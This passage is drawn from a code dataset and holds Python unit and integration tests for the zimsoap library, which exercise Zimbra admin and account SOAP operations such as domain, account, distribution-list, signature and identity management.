self.zc.request('CheckDomainMXRecord', {'domain': domain})\n\n except ZimbraSoapServerError as sf:\n if 'NameNotFoundException' not in str(sf):\n # Accept for the moment this exception as it's kind a response\n # from server.\n raise\n\n def testGetAccount(self):\n account = {'by': 'name', '_content': TEST_CONF['lambda_user']}\n resp = self.zc.request('GetAccount', {'account': account})\n self.assertIsInstance(resp['account'], dict)\n\n def testGetAccountInfo(self):\n account = {'by': 'name', '_content': TEST_CONF['lambda_user']}\n resp = self.zc.request('GetAccountInfo', {'account': account})\n self.assertIsInstance(resp['cos']['id'], (text_type, binary_type))\n\n def testSearchDirectory(self):\n resp = self.zc.search_directory(\n query='mail=%s' % TEST_CONF['lambda_user'])\n\n self.assertEqual(resp['account'].name, TEST_CONF['lambda_user'])\n\n resp = self.zc.search_directory(\n query='dc=zimbratest', types='domains')\n\n self.assertEqual(resp['domain'].name, 'zimbratest.example.com')\n\n\nclass PythonicAdminAPITests(unittest.TestCase):\n \"\"\" Tests the pythonic API, the one that should be accessed by someone using\n the library, zimbraAdmin features.\n \"\"\"\n\n @classmethod\n def setUpClass(cls):\n # Login/connection is done at class initialization to reduce tests time\n cls.zc = ZimbraAdminClient(TEST_CONF['host'],\n TEST_CONF['admin_port'])\n cls.zc.login(TEST_CONF['admin_login'], TEST_CONF['admin_password'])\n\n def setUp(self):\n self.HOST = TEST_CONF['host']\n self.ADMIN_PASSWORD = TEST_CONF['admin_password']\n self.ADMIN_PORT = TEST_CONF['admin_port']\n self.ADMIN_LOGIN = TEST_CONF['admin_login']\n self.LAMBDA_USER = TEST_CONF['lambda_user']\n self.DOMAIN1 = TEST_CONF['domain_1']\n self.DOMAIN2 = TEST_CONF['domain_2']\n self.TMP_DOMAIN = 'oazimtools.test'\n self.SERVER_NAME = TEST_CONF['server_name']\n\n self.EXISTANT_MBOX_ID = \"d78fd9c9-f000-440b-bce6-ea938d40fa2d\"\n # Should not exist before the tests\n self.TEST_DL_NAME = 'unittest-test-list-1@%s' % self.DOMAIN1\n\n def tearDown(self):\n try:\n self.zc.delete_distribution_list(\n DistributionList(name=self.TEST_DL_NAME))\n except (ZimbraSoapServerError, KeyError):\n pass\n\n def test_get_all_domains(self):\n doms = self.zc.get_all_domains()\n self.assertIsInstance(doms, list)\n self.assertIsInstance(doms[0], Domain)\n\n # Look for client1.unbound.example.com\n found = False\n for i in doms:\n if i.name == self.DOMAIN1:\n found = True\n\n self.assertTrue(found)\n\n def test_create_delete_domain(self):\n\n # CREATE\n self.zc.create_domain(self.TMP_DOMAIN)\n dom = self.zc.get_domain(Domain(name=self.TMP_DOMAIN))\n\n self.assertIsInstance(dom, Domain)\n self.assertEqual(dom.name, self.TMP_DOMAIN)\n\n # DELETE\n self.zc.delete_domain(dom)\n\n with self.assertRaises(ZimbraSoapServerError):\n self.zc.get_domain(dom)\n\n def test_create_delete_forced_domain(self):\n account_mail = 'test_user@' + self.TMP_DOMAIN\n cal_res_mail = 'test_res@' + self.TMP_DOMAIN\n alias_name = self.LAMBDA_USER.split('@')[0] + '@' + self.TMP_DOMAIN\n dl_mail = 'test_dl@' + self.TMP_DOMAIN\n\n # CREATE\n self.zc.create_domain(self.TMP_DOMAIN)\n dom = self.zc.get_domain(Domain(name=self.TMP_DOMAIN))\n\n self.assertIsInstance(dom, Domain)\n self.assertEqual(dom.name, self.TMP_DOMAIN)\n\n self.zc.create_account(account_mail, '<PASSWORD>')\n self.zc.create_calendar_resource(cal_res_mail, attrs={\n 'displayName': 'test display name',\n 'zimbraCalResType': CalendarResource.EQUIPMENT_TYPE\n })\n self.zc.add_account_alias(Account(name=self.LAMBDA_USER), alias_name)\n self.zc.create_distribution_list(dl_mail)\n\n # DELETE\n self.zc.delete_domain_forced(dom)\n\n with self.assertRaises(ZimbraSoapServerError):\n self.zc.get_domain(dom)\n\n def test_get_domain(self):\n dom = self.zc.get_domain(Domain(name=self.DOMAIN1))\n self.assertIsInstance(dom, Domain)\n self.assertEqual(dom.name, self.DOMAIN1)\n\n def test_modify_domain(self):\n rand_str = random.randint(0, 10**9)\n\n dom = self.zc.get_domain(Domain(name=self.DOMAIN1))\n a = {'zimbraAutoProvNotificationBody': rand_str}\n self.zc.modify_domain(dom, a)\n\n dom = self.zc.get_domain(Domain(name=self.DOMAIN1))\n self.assertEqual(dom['zimbraAutoProvNotificationBody'], rand_str)\n\n def test_get_all_accounts(self):\n accounts = self.zc.get_all_accounts()\n self.assertIsInstance(accounts[0], Account)\n self.assertEqual(len(accounts), 17)\n\n def test_get_all_accounts_by_single_server(self):\n test_server = Server(name=self.SERVER_NAME)\n accounts = self.zc.get_all_accounts(server=test_server)\n self.assertIsInstance(accounts[0], Account)\n self.assertEqual(len(accounts), 17)\n\n def test_get_all_accounts_by_single_domain(self):\n test_domain = Domain(name=self.DOMAIN2)\n accounts = self.zc.get_all_accounts(domain=test_domain)\n self.assertIsInstance(accounts[0], Account)\n self.assertEqual(len(accounts), 5)\n\n def test_get_all_accounts_by_single_domain_and_server(self):\n test_domain = Domain(name=self.DOMAIN2)\n test_server = Server(name=self.SERVER_NAME)\n accounts = self.zc.get_all_accounts(domain=test_domain,\n server=test_server)\n self.assertIsInstance(accounts[0], Account)\n self.assertEqual(len(accounts), 5)\n\n def test_get_all_accounts_exclusion_filters(self):\n # The self.DOMAIN1 contains 5 user accounts, 1 system and 1 admin\n test_domain = Domain(name=self.DOMAIN1)\n\n accounts = self.zc.get_all_accounts(\n domain=test_domain,\n include_system_accounts=True, include_admin_accounts=True)\n self.assertEqual(len(accounts), 7)\n\n accounts_no_admin = self.zc.get_all_accounts(\n domain=test_domain,\n include_system_accounts=True, include_admin_accounts=False)\n self.assertEqual(len(accounts_no_admin), 6)\n\n accounts_no_system = self.zc.get_all_accounts(\n domain=test_domain,\n include_system_accounts=False, include_admin_accounts=True)\n self.assertEqual(len(accounts_no_system), 6)\n\n accounts_no_admin_no_system = self.zc.get_all_accounts(\n domain=test_domain,\n include_admin_accounts=False, include_system_accounts=False)\n self.assertEqual(len(accounts_no_admin_no_system), 5)\n\n def test_get_all_calendar_resources(self):\n resources = self.zc.get_all_calendar_resources()\n self.assertIsInstance(resources[0], CalendarResource)\n self.assertEqual(len(resources), 2)\n\n def test_get_all_calendar_resources_by_single_server(self):\n test_server = Server(name=self.SERVER_NAME)\n resources = self.zc.get_all_calendar_resources(server=test_server)\n self.assertIsInstance(resources[0], CalendarResource)\n self.assertEqual(len(resources), 2)\n\n def test_get_all_calendar_resources_by_single_domain(self):\n test_domain = Domain(name=self.DOMAIN2)\n resources = self.zc.get_all_calendar_resources(domain=test_domain)\n self.assertEqual(len(resources), 1)\n\n def test_get_calendar_resource(self):\n calendar_resource = self.zc.get_calendar_resource(\n CalendarResource(name=TEST_CONF['calres1']))\n self.assertIsInstance(calendar_resource, CalendarResource)\n self.assertEqual(calendar_resource.name, TEST_CONF['calres1'])\n\n # Now grab it by ID\n calendar_resource_by_id = self.zc.get_calendar_resource(\n CalendarResource(id=calendar_resource.id))\n self.assertIsInstance(calendar_resource_by_id, CalendarResource)\n self.assertEqual(calendar_resource_by_id.name, TEST_CONF['calres1'])\n self.assertEqual(calendar_resource_by_id.id, calendar_resource.id)\n\n def test_get_quota_usage(self):\n resp = self.zc.get_quota_usage()\n for account in resp:\n if account['name'] == '<EMAIL>':\n quota_user = account\n\n self.assertIsInstance(resp, list)\n self.assertEqual(quota_user['used'], '0')\n self.assertEqual(quota_user['limit'], '0')\n\n def test_create_get_update_delete_calendar_resource(self):\n name = '<EMAIL>'.format(\n random.randint(0, 10**9))\n new_name = '<EMAIL>'.format(\n random.randint(0, 10**9))\n res_req = CalendarResource(name=name)\n\n with self.assertRaises(ZimbraSoapServerError):\n self.zc.get_calendar_resource(res_req)\n\n # CREATE\n res = self.zc.create_calendar_resource(name, attrs={\n 'displayName': 'test display name',\n 'zimbraCalResType': CalendarResource.EQUIPMENT_TYPE\n })\n\n self.assertIsInstance(res, CalendarResource)\n self.assertEqual(res.name, name)\n\n # GET\n res_got = self.zc.get_calendar_resource(res_req)\n self.assertIsInstance(res_got, CalendarResource)\n self.assertEqual(res.name, name)\n\n # UPDATE\n random_name_1 = 'test-{}'.format(random.randint(0, 10**9))\n self.zc.modify_calendar_resource(res_got,\n {'displayName': random_name_1})\n\n res_got = self.zc.get_calendar_resource(res_req)\n self.assertEqual(res_got['displayName'], random_name_1)\n\n # RENAME\n new_r = self.zc.rename_calendar_resource(res_got, new_name)\n self.assertEqual(new_r.name, new_name)\n\n # DELETE\n self.zc.delete_calendar_resource(res_got)\n\n with self.assertRaises(ZimbraSoapServerError):\n self.zc.get_calendar_resource(res)\n\n def test_create_get_update_rename_delete_account(self):\n name = '<EMAIL>'.format(\n random.randint(0, 10**9))\n password = '<PASSWORD>'\n ac_req = Account(name=name)\n\n with self.assertRaises(ZimbraSoapServerError):\n self.zc.get_account(ac_req)\n\n # CREATE\n ac = self.zc.create_account(name, password)\n\n self.assertIsInstance(ac, Account)\n self.assertEqual(ac.name, name)\n\n # GET\n ac_got = self.zc.get_account(ac_req)\n self.assertIsInstance(ac_got, Account)\n self.assertEqual(ac_got.name, name)\n\n # UPDATE\n random_name_1 = 'test-{}'.format(random.randint(0, 10**9))\n self.zc.modify_account(ac_got, {'displayName': random_name_1})\n\n ac_got = self.zc.get_account(ac_req)\n self.assertEqual(ac_got['displayName'], random_name_1)\n\n # MODIFY PASSWORD\n new_password = '<PASSWORD>'\n self.zc.set_password(ac, new_password)\n\n act_zc = ZimbraAccountClient(TEST_CONF['host'],\n TEST_CONF['https_port'])\n\n try:\n act_zc.login(ac.name, new_password)\n except ZimbraSoapServerError:\n self.fail('self.zc.set_password has failed to change password')\n\n # RENAME\n self.zc.rename_account(\n ac_got, '<EMAIL>')\n\n renamed_ac_got = self.zc.get_account(\n Account(name='<EMAIL>'))\n self.assertEqual(renamed_ac_got['mail'],\n '<EMAIL>')\n\n # DELETE\n self.zc.delete_account(renamed_ac_got)\n\n with self.assertRaises(ZimbraSoapServerError):\n self.zc.get_account(ac)\n\n def test_create_delete_account_alias(self):\n\n # prepare account\n\n ac_name = '<EMAIL>'.format(\n random.randint(0, 10**9))\n ac = self.zc.create_account(ac_name, '<PASSWORD>')\n\n alias_name = '<EMAIL>'.format(\n random.randint(0, 10**9))\n\n # CREATE\n retval = self.zc.add_account_alias(Account(name=ac_name), alias_name)\n\n self.assertEqual(retval, None)\n\n # GET\n ac_got = self.zc.get_account(Account(name=ac_name))\n self.assertIn(alias_name, ac_got['mail'])\n\n # DELETE\n self.zc.remove_account_alias(ac, alias_name)\n\n # GET\n ac_got = self.zc.get_account(Account(name=ac_name))\n self.assertNotIn(alias_name, ac_got['mail'])\n\n self.zc.delete_account(ac)\n\n def test_get_mailbox_stats(self):\n stats = self.zc.get_mailbox_stats()\n self.assertIsInstance(stats, dict)\n self.assertIsInstance(stats['numMboxes'], int)\n self.assertIsInstance(stats['totalSize'], int)\n\n def test_count_account(self):\n d = Domain(name=self.DOMAIN1)\n\n # ex return: list: ((<ClassOfService object>, <int>), ...)\n cos_counts = self.zc.count_account(d)\n\n self.assertIsInstance(cos_counts, list)\n self.assertIsInstance(cos_counts[0], tuple)\n self.assertIsInstance(cos_counts[0][0],\n ClassOfService)\n self.assertIsInstance(cos_counts[0][1], int)\n\n def test_get_all_mailboxes(self):\n mboxes = self.zc.get_all_mailboxes()\n self.assertIsInstance(mboxes, list)\n self.assertIsInstance(mboxes[0], Mailbox)\n\n def test_account_mailbox(self):\n # First, fetch an existing account_id\n first_account_id = self.zc.get_all_mailboxes()[0].accountId\n\n mbox = self.zc.get_account_mailbox(first_account_id)\n self.assertTrue(hasattr(mbox, 'mbxid'))\n self.assertTrue(hasattr(mbox, 's')) # size\n\n def test_create_get_modify_rename_delete_distribution_list(self):\n name = self.TEST_DL_NAME\n dl_req = DistributionList(name=name)\n\n with self.assertRaises(ZimbraSoapServerError):\n print(self.zc.get_distribution_list(dl_req))\n\n # CREATE\n dl = self.zc.create_distribution_list(name)\n self.assertIsInstance(dl, DistributionList)\n self.assertEqual(dl.name, name)\n\n # GET ALL\n dl_list = self.zc.get_all_distribution_lists()\n self.assertIsInstance(dl_list[1], DistributionList)\n\n # MODIFY\n self.zc.add_distribution_list_member(\n dl, ['<EMAIL>', '<EMAIL>'])\n\n dl_membered = self.zc.get_distribution_list(dl_req)\n self.assertEqual(\n set(dl_membered.members),\n set(['<EMAIL>', '<EMAIL>']))\n\n self.zc.remove_distribution_list_member(\n dl, ['<EMAIL>'])\n dl_unmembered = self.zc.get_distribution_list(dl_req)\n self.assertEqual(dl_unmembered.members, ['<EMAIL>'])\n\n rand = 'list-{}'.format(random.randint(0, 10**9))\n self.zc.modify_distribution_list(dl, {'displayName': rand})\n dl_modified = self.zc.get_distribution_list(dl_req)\n self.assertEqual(dl_modified.property('displayName'), rand)\n\n # GET\n dl_got = self.zc.get_distribution_list(dl_req)\n self.assertIsInstance(dl_got, DistributionList)\n self.assertEqual(dl_got, dl_list[1])\n\n # RENAME\n new_dl = self.zc.rename_distribution_list(\n dl_got,\n '<EMAIL>')\n self.assertEqual(new_dl.name, '<EMAIL>')\n\n # ALIAS\n alias_name = 'new_dl_name_<EMAIL>'\n self.zc.add_distribution_list_alias(new_dl, alias_name)\n new_dl_got = self.zc.get_distribution_list(\n DistributionList(name=new_dl.name)\n )\n if alias_name in new_dl_got.property('zimbraMailAlias'):\n alias_present = True\n else:\n alias_present = False\n self.assertTrue(alias_present)\n\n self.zc.remove_distribution_list_alias(new_dl, alias_name)\n\n new_dl_got = self.zc.get_distribution_list(\n DistributionList(name=new_dl.name)\n )\n if alias_name in new_dl_got.property('zimbraMailAlias'):\n alias_present = True\n else:\n alias_present = False\n self.assertFalse(alias_present)\n\n # DELETE\n self.zc.delete_distribution_list(new_dl)\n\n with self.assertRaises(ZimbraSoapServerError):\n self.zc.get_distribution_list(dl)\n\n def test_delete_distribution_list_by_name(self):\n name = self.TEST_DL_NAME\n dl_req = DistributionList(name=name)\n dl_full = self.zc.create_distribution_list(name)\n self.zc.delete_distribution_list(dl_req)\n\n # List with such a name does not exist\n with self.assertRaises(ZimbraSoapServerError):\n self.zc.get_distribution_list(dl_req)\n\n # List with such an ID does not exist\n with self.assertRaises(ZimbraSoapServerError):\n self.zc.get_distribution_list(dl_full)\n\n def test_get_account(self):\n account = self.zc.get_account(Account(name=self.LAMBDA_USER))\n self.assertIsInstance(account, Account)\n self.assertEqual(account.name, self.LAMBDA_USER)\n\n # Now grab it by ID\n account_by_id = self.zc.get_account(Account(id=account.id))\n self.assertIsInstance(account_by_id, Account)\n self.assertEqual(account_by_id.name, self.LAMBDA_USER)\n self.assertEqual(account_by_id.id, account.id)\n\n def test_get_account_cos(self):\n cos = self.zc.get_account_cos(Account(name=self.LAMBDA_USER))\n self.assertIsInstance(cos, COS)\n self.assertEqual(cos.name, 'default')\n assertRegex(self, cos.id, r'[\\w\\-]{36}')\n\n def test_mk_auth_token_succeeds(self):\n user = Account(name='admin@{0}'.format(self.DOMAIN1))\n tk = self.zc.mk_auth_token(user, 0)\n self.assertIsInstance(tk, str)\n\n def test_mk_auth_token_fails_if_no_key(self):\n user = Account(name='admin@{0}'.format(self.DOMAIN2))\n\n with self.assertRaises(DomainHasNoPreAuthKey):\n self.zc.mk_auth_token(user, 0)\n\n def test_admin_get_logged_in_by(self):\n new_zc = ZimbraAdminClient(self.HOST, self.ADMIN_PORT)\n new_zc.get_logged_in_by(self.ADMIN_LOGIN, self.zc)\n self.assertTrue(new_zc._session.is_logged_in())\n self.assertTrue(new_zc.is_session_valid())\n\n def test_deprecated_admin_delegate_auth(self):\n # Cannot assertWarns before py3.2\n zc_account = self.zc.delegate_auth(Account(name=self.LAMBDA_USER))\n self.assertTrue(zc_account._session.is_logged_in())\n self.assertTrue(zc_account.is_session_valid())\n\n def test_admin_get_account_authToken1(self):\n \"\"\" From an existing account \"\"\"\n authToken, lifetime = self.zc.get_account_authToken(\n account=Account(name=self.LAMBDA_USER)\n )\n new_zc = ZimbraAccountClient(self.HOST)\n new_zc.login_with_authToken(authToken, lifetime)\n self.assertTrue(new_zc._session.is_logged_in())\n self.assertTrue(new_zc.is_session_valid())\n\n def test_admin_get_account_authToken2(self):\n \"\"\" From an account name \"\"\"\n authToken, lifetime = self.zc.get_account_authToken(\n account_name=self.LAMBDA_USER\n )\n new_zc = ZimbraAccountClient(self.HOST)\n new_zc.login_with_authToken(authToken, lifetime)\n self.assertTrue(new_zc._session.is_logged_in())\n self.assertTrue(new_zc.is_session_valid())\n\n def test_get_modify_config(self):\n attr = 'zimbraMtaMaxMessageSize'\n new_value = '42'\n ori_value = '10240000'\n self.assertEqual(\n self.zc.get_config(attr)[attr],\n ori_value\n )\n modified_conf = self.zc.modify_config(attr, new_value)\n self.assertEqual(modified_conf[attr], new_value)\n\n # Undo\n self.zc.modify_config(attr, ori_value)\n\n\nclass ZimbraAPISessionTests(unittest.TestCase):\n def setUp(self):\n self.HOST = TEST_CONF['host']\n self.ADMIN_PORT = TEST_CONF['admin_port']\n self.ADMIN_LOGIN = TEST_CONF['admin_login']\n self.ADMIN_PASSWORD = TEST_CONF['admin_password']\n\n self.cli = ZimbraAdminClient(self.HOST, self.ADMIN_PORT)\n self.session = ZimbraAPISession(self.cli)\n\n def testInit(self):\n self.session = ZimbraAPISession(self.cli)\n self.assertFalse(self.session.is_logged_in())\n\n def testSuccessfullLogin(self):\n self.session.login(self.ADMIN_LOGIN, self.ADMIN_PASSWORD)\n\n self.assertTrue(self.session.is_logged_in())\n\n def testGoodSessionValidates(self):\n self.session.login(self.ADMIN_LOGIN, self.ADMIN_PASSWORD)\n self.assertTrue(self.session.is_session_valid())\n\n def testBadSessionFails(self):\n self.session.login(self.ADMIN_LOGIN, self.ADMIN_PASSWORD)\n self.session.authToken = '42'\n self.assertFalse(self.session.is_session_valid())\n", "id": "4559072", "language": "Python", "matching_score": 3.2513670921325684, "max_stars_count": 11, "path": "tests/test_zimbra_admin.py" }, { "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\n\"\"\" Unittests for zimsoap.zobjects \"\"\"\n\nimport unittest\n\nfrom six import text_type, binary_type\n\nimport zimsoap.utils\nfrom zimsoap.zobjects import (\n Account, Domain, Identity, Mailbox, Signature, ZObject)\nfrom . import samples\n\n\nclass ZObjectsTests(unittest.TestCase):\n\n class NullZObject(ZObject):\n ATTRNAME_PROPERTY = 'n'\n TAG_NAME = 'TestObject'\n\n def setUp(self):\n # samples, as dict\n xml2dict = zimsoap.utils.xml_str_to_dict\n self.simple_domain_dict = xml2dict(samples.SIMPLE_DOMAIN)\n self.misnamed_domain_dict = xml2dict(samples.MISNAMED_DOMAIN)\n self.mbox_dict = xml2dict(samples.MBOX)\n self.admin_account_dict = xml2dict(samples.ADMIN_ACCOUNT)\n self.system_account_dict = xml2dict(samples.SYSTEM_ACCOUNT)\n self.normal_account_dict = xml2dict(samples.NORMAL_ACCOUNT)\n self.signature_dict = xml2dict(samples.SIGNATURE)\n self.identity_dict = xml2dict(samples.IDENTITY)\n\n def testZobjectNeverFailsToPrint(self):\n zo = self.NullZObject()\n self.assertIn(self.NullZObject.__name__, str(zo))\n zo.id = 'myid'\n self.assertIn('myid', str(zo))\n zo.name = 'myname'\n self.assertIn('myname', str(zo))\n\n def testZobjectNeverFailsToRepr(self):\n zo = self.NullZObject()\n self.assertIn(self.NullZObject.__name__, repr(zo))\n self.assertIn(hex(id(zo)), repr(zo))\n zo.id = 'myid'\n self.assertIn('myid', repr(zo))\n zo.name = 'myname'\n self.assertIn('myid', repr(zo))\n\n def testDomainFromDict(self):\n data = self.simple_domain_dict['domain']\n d = Domain.from_dict(data)\n self.assertIsInstance(d, Domain)\n self.assertIsInstance(d.id, text_type)\n self.assertIsInstance(d.name, text_type)\n self.assertIsNotNone(d.id)\n self.assertEqual(d.name, 'client1.unbound.example.com')\n self.assertEqual(d.get_full_data(), data)\n\n def testDomainSelector(self):\n d = Domain(name='foo')\n s = d.to_selector()\n self.assertEqual(s['by'], 'name')\n self.assertEqual(s['_content'], 'foo')\n\n def testInvalidDomainSelector(self):\n with self.assertRaises(ValueError):\n Domain().to_selector()\n\n # Should not produce a selector with spamattr\n with self.assertRaises(ValueError):\n Domain(spamattr='eggvalue').to_selector()\n\n def test_ZObjects_import_a_tags(self):\n props = Domain._parse_a_tags(self.simple_domain_dict['domain'])\n self.assertIsInstance(props, dict)\n # 53 is the number of unique \"n\" keys in the sample domain.\n self.assertEqual(len(props), 53)\n # Just check one of the <a> tags\n self.assertEqual(props['zimbraAuthMech'], 'zimbra')\n\n def test_ZObjects_get_single_tag_list(self):\n contact_dic = {'a': {'_content': '<EMAIL>', 'n': 'email'},\n 'l': '7',\n 'd': '1445446429000',\n 'id': '298',\n 'rev': '24825',\n 'fileAsStr': ''}\n props = self.NullZObject._parse_a_tags(contact_dic)\n self.assertEqual(props['email'], '<EMAIL>')\n\n def test_ZObjects_import_a_tags_multivalue(self):\n props = Domain._parse_a_tags(self.simple_domain_dict['domain'])\n self.assertIsInstance(props['objectClass'], list)\n self.assertEqual(\n props['objectClass'],\n ['dcObject', 'organization', 'zimbraDomain', 'amavisAccount'])\n\n def test_ZObjects_access_a_tag_as_item(self):\n d = Domain.from_dict(self.simple_domain_dict['domain'])\n self.assertEqual(d['zimbraAuthMech'], 'zimbra')\n\n def test_ZObjects_comparison_equals(self):\n d1 = Domain(id='d78fd9c9-f000-440b-bce6-ea938d40fa2d')\n d2 = Domain(id='d78fd9c9-f000-440b-bce6-ea938d40fa2d')\n self.assertTrue(d1 == d2)\n self.assertFalse(d1 != d2)\n\n def test_ZObjects_comparison(self):\n d1 = Domain(id='d78fd9c9-f000-440b-bce6-ea938d40fa2d')\n d2 = Domain(id='dddddddd-f000-440b-bce6-dddddddddddd')\n self.assertTrue(d1 != d2)\n self.assertFalse(d1 == d2)\n\n def test_ZObjects_comparison_invalid_id_first(self):\n d1 = Domain(id='123')\n d2 = Domain(id='d78fd9c9-f000-440b-bce6-ea938d40fa2d')\n\n with self.assertRaises(ValueError):\n d1 == d2\n\n def test_ZObjects_comparison_invalid_id_second(self):\n d1 = Domain(id='123')\n d2 = Domain(id='d78fd9c9-f000-440b-bce6-ea938d40fa2d')\n\n with self.assertRaises(ValueError):\n d2 == d1\n\n def test_ZObjects_comparison_invalid_type(self):\n d1 = Domain(id='d78fd9c9-f000-440b-bce6-ea938d40fa2d')\n m1 = Mailbox(id='d78fd9c9-f000-440b-bce6-ea938d40fa2d')\n\n with self.assertRaises(TypeError):\n d1 == m1\n\n def test_Signature_to_selector(self):\n s = Signature(id='1234')\n self.assertEqual(s.to_selector(), {'id': '1234'})\n self.assertIsInstance(s.to_selector(), dict)\n\n s = Signature(name='jdoe')\n self.assertEqual(s.to_selector(), {'name': 'jdoe'})\n\n s = Signature(id='1234', name='jdoe')\n self.assertEqual(s.to_selector(), {'id': '1234'})\n\n def test_Signature_creator_fails_without_content(self):\n s = Signature(name='unittest')\n with self.assertRaises(AttributeError):\n s.to_xml_creator()\n\n def test_Signature_creator_default_format(self):\n s = Signature(name='unittest')\n s.set_content('TEST_CONTENT')\n self.assertEqual(s._contenttype, 'text/html')\n\n def test_Signature_set_content(self):\n s = Signature(name='unittest')\n s.set_content('TEST_CONTENT', contenttype='text/plain')\n\n self.assertEqual(s._contenttype, 'text/plain')\n self.assertEqual(s._content, 'TEST_CONTENT')\n\n def test_Signature_creator_success(self):\n s = Signature(name='unittest')\n s.set_content('TEST_CONTENT', contenttype='text/plain')\n d = s.to_creator()\n self.assertTrue(d['content'], 'TEST_CONTENT')\n\n def test_Signature_dict_import(self):\n s = Signature.from_dict(self.signature_dict['signature'])\n self.assertIsInstance(s, Signature)\n self.assertIsInstance(s.get_content(), (text_type, binary_type))\n self.assertEqual(s.get_content(), 'CONTENT')\n self.assertEqual(s.get_content_type(), 'text/html')\n\n def test_Identity_to_creator(self):\n test_attr = 'zimbraPrefForwardReplyPrefixChar'\n\n i = Identity.from_dict(self.identity_dict['identity'])\n dict_again = Identity.from_dict(i.to_creator())\n self.assertEqual(i[test_attr], dict_again[test_attr])\n\n def test_Account_system(self):\n sys = Account.from_dict(self.system_account_dict['account'])\n norm = Account.from_dict(self.normal_account_dict['account'])\n adm = Account.from_dict(self.admin_account_dict['account'])\n\n self.assertEqual(sys.is_system(), True)\n self.assertEqual(adm.is_system(), False)\n self.assertEqual(norm.is_system(), False)\n\n def test_Account_admin(self):\n sys = Account.from_dict(self.system_account_dict['account'])\n norm = Account.from_dict(self.normal_account_dict['account'])\n adm = Account.from_dict(self.admin_account_dict['account'])\n\n self.assertEqual(sys.is_admin(), False)\n self.assertEqual(adm.is_admin(), True)\n self.assertEqual(norm.is_admin(), False)\n\n def test_property(self):\n norm = Account.from_dict(self.normal_account_dict['account'])\n self.assertEqual(norm.property('zimbraFeatureSignaturesEnabled'), True)\n", "id": "5355833", "language": "Python", "matching_score": 2.918551206588745, "max_stars_count": 11, "path": "tests/test_zobjects.py" }, { "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\n\n\"\"\" Integration tests against zimbraAccount SOAP webservice\n\nIt has to be tested against a zimbra server (see README.md)\n\"\"\"\n\nimport unittest\n\nfrom six import text_type, binary_type\n\nfrom zimsoap import utils\nfrom zimsoap.client import (\n ZimbraAccountClient,\n ZimbraSoapServerError,\n ZimbraMailClient,\n ZimbraAdminClient\n)\nfrom zimsoap.zobjects import Signature, Identity, Account\nimport tests\n\nTEST_CONF = tests.get_config()\n\n\nclass ZimbraAccountClientTests(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n # Login/connection is done at class initialization to reduce tests time\n cls.zc = ZimbraAccountClient(TEST_CONF['host'])\n cls.zc.login(TEST_CONF['lambda_user'], TEST_CONF['lambda_password'])\n\n def tearDown(self):\n # Delete the test signature (if any)\n for signame in ('unittest', 'renamed-unittest'):\n try:\n self.zc.request('DeleteSignature', {\n 'signature': {'name': signame}\n })\n\n except ZimbraSoapServerError as e:\n if 'no such signature' in str(e):\n pass\n\n else:\n raise\n\n def testGetSignaturesReturnsSomething(self):\n resp = self.zc.request('GetSignatures')\n self.assertEqual(resp, {})\n\n # Normally, the user has no signature by default\n self.assertFalse('signature' in resp)\n\n def testCreateSignatureReturnsSomething(self):\n resp = self.zc.request('CreateSignature', {\n 'signature': {\n 'name': 'unittest',\n 'content':\n {'type': 'text/plain', '_content': 'TEST SIGNATURE'}\n }\n })\n\n sig = resp['signature']\n self.assertEqual(sig['name'], 'unittest')\n return sig\n\n def testDeleteSignatureReturnsProperly(self):\n self.testCreateSignatureReturnsSomething()\n self.zc.request('DeleteSignature', {\n 'signature': {'name': 'unittest'}})\n\n def testModifySignatureWorks(self):\n sig = self.testCreateSignatureReturnsSomething()\n\n self.zc.request('ModifySignature', {\n 'signature': {\n 'id': sig['id'],\n 'content': {'type': 'text/plain', '_content': 'MODIFSIG'}\n }\n })\n\n resp_getsig = self.zc.request('GetSignatures')\n sig = resp_getsig['signature']\n\n # is there only one signature\n self.assertIsInstance(sig, dict)\n self.assertEqual('MODIFSIG', sig['content']['_content'])\n\n def testGetAllPreferences(self):\n resp = self.zc.request('GetPrefs')\n self.assertIn('pref', resp)\n prefs = resp['pref']\n self.assertIsInstance(prefs, list)\n\n def testGetAPreference(self):\n resp = self.zc.request('GetPrefs',\n {'pref': {'name': 'zimbraPrefMailFlashTitle'}})\n\n pref = resp['pref']\n\n self.assertIsInstance(pref, dict)\n self.assertEqual(pref['name'], 'zimbraPrefMailFlashTitle')\n\n def testCreateGetModifyDeleteIdentity(self):\n # Create\n i = self.zc.create_identity(name='test-identity', attrs=[{\n 'name': 'zimbraPrefWhenInFoldersEnabled',\n '_content': 'TRUE'\n }])\n\n # Get\n get_i = self.zc.get_identities(identity='test-identity')[0]\n # Verify create and get\n self.assertEqual(i, get_i)\n\n # Modify 1\n from_addr = '<EMAIL>'\n\n i = self.zc.modify_identity(\n identity='test-identity', zimbraPrefFromAddress=from_addr)\n self.assertEqual(i._a_tags['zimbraPrefFromAddress'], from_addr)\n\n # Modify 2\n # clean (needed with use of zobjects.Identity to avoid illegal\n # multivalue attribute)\n i._full_data['a'].remove({\n 'name': 'zimbraPrefFromAddress',\n '_content': from_addr})\n from_addr = '<EMAIL>'\n i._full_data['a'].append({\n 'name': 'zimbraPrefFromAddress',\n '_content': from_addr})\n mod_i = self.zc.modify_identity(i)\n self.assertEqual(mod_i._a_tags['zimbraPrefFromAddress'], from_addr)\n\n # Delete 1\n self.zc.delete_identity(mod_i)\n\n self.assertEqual(self.zc.get_identities(identity=mod_i), [])\n\n # Delete 2\n i = self.zc.create_identity(name='test-identity', attrs={\n 'zimbraPrefWhenInFoldersEnabled': 'TRUE'})\n self.zc.delete_identity(identity='test-identity')\n\n self.assertEqual(self.zc.get_identities(i), [])\n\n def testAddRemoveGetBlackWhiteLists(self):\n addr = '<EMAIL>'\n self.zc.add_to_blacklist([addr])\n wbl = self.zc.get_white_black_lists()\n self.assertEqual(wbl['blackList']['addr'], addr)\n\n self.zc.remove_from_blacklist([addr])\n wbl = self.zc.get_white_black_lists()\n self.assertEqual(wbl['blackList'], {})\n\n self.zc.add_to_whitelist([addr])\n wbl = self.zc.get_white_black_lists()\n self.assertEqual(wbl['whiteList']['addr'], addr)\n\n self.zc.remove_from_whitelist([addr])\n wbl = self.zc.get_white_black_lists()\n self.assertEqual(wbl['whiteList'], {})\n\n\nclass PythonicAccountAPITests(unittest.TestCase):\n \"\"\" Tests the pythonic API, the one that should be accessed by someone using\n the library, zimbraAccount features.\n \"\"\"\n\n 